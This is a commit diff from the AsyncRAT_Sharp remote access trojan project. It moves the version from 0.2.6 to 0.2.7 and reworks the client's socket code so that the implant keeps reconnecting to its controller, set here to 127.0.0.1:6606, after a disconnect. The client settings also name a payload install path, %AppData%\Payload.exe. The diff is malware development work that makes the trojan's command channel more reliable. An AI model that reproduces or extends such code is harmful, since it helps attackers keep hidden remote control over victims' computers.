Fixed Stability

This commit is contained in:
NYAN CAT 2019-03-26 04:38:37 -07:00
parent 50a79ee230
commit c707c8b543
4 changed files with 22 additions and 21 deletions

View File

@ -7,7 +7,7 @@ namespace AsyncRAT_Sharp
{
public static List<Clients> Online = new List<Clients>();
public static int Port = 6606;
public static readonly string Version = "AsyncRAT 0.2.6";
public static readonly string Version = "AsyncRAT 0.2.7";
public static long Sent = 0;
public static long Received = 0;
}

View File

@ -110,7 +110,6 @@ namespace AsyncRAT_Sharp.Sockets
try
{
MS?.Dispose();
Client?.Close();
Client?.Dispose();
}
catch { }

View File

@ -18,7 +18,7 @@ namespace Client
{
public static readonly string IP = "127.0.0.1";
public static readonly string Port = "6606";
public static readonly string Version = "AsyncRAT 0.2.6";
public static readonly string Version = "AsyncRAT 0.2.7";
public static readonly string Install = "false";
public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe");
}
@ -36,6 +36,8 @@ namespace Client
while (true)
{
if (ClientSocket.Connected == false)
ClientSocket.Reconnect();
Thread.Sleep(1000);
}
}

View File

@ -22,6 +22,7 @@ namespace Client.Sockets
private static Timer Tick { get; set; }
private static MemoryStream MS { get; set; }
private static object SendSync { get; set; }
public static bool Connected { get; set; }
public static void InitializeClient()
{
@ -36,6 +37,7 @@ namespace Client.Sockets
};
Client.Connect(Settings.IP, Convert.ToInt32(Settings.Port));
Debug.WriteLine("Connected!");
Connected = true;
Buffer = new byte[1];
Buffersize = 0;
BufferRecevied = false;
@ -50,26 +52,24 @@ namespace Client.Sockets
{
Debug.WriteLine("Disconnected!");
Thread.Sleep(new Random().Next(1 * 1000, 6 * 1000));
Reconnect();
Connected = false;
}
}
public static void Reconnect()
{
Tick?.Dispose();
try
{
Client?.Close();
Tick?.Dispose();
Client?.Dispose();
}
catch { }
MS?.Dispose();
}
finally
{
InitializeClient();
}
}
private static byte[] SendInfo()
{
@ -110,7 +110,7 @@ namespace Client.Sockets
{
if (!Client.Connected)
{
Reconnect();
Connected = false;
return;
}
@ -151,13 +151,13 @@ namespace Client.Sockets
}
else
{
Reconnect();
Connected = false;
return;
}
}
catch
{
Reconnect();
Connected = false;
return;
}
}
@ -168,7 +168,7 @@ namespace Client.Sockets
{
if (!Client.Connected)
{
Reconnect();
Connected = false;
return;
}
@ -186,7 +186,7 @@ namespace Client.Sockets
}
catch
{
Reconnect();
Connected = false;
return;
}
}
@ -200,7 +200,7 @@ namespace Client.Sockets
}
catch
{
Reconnect();
Connected = false;
return;
}
}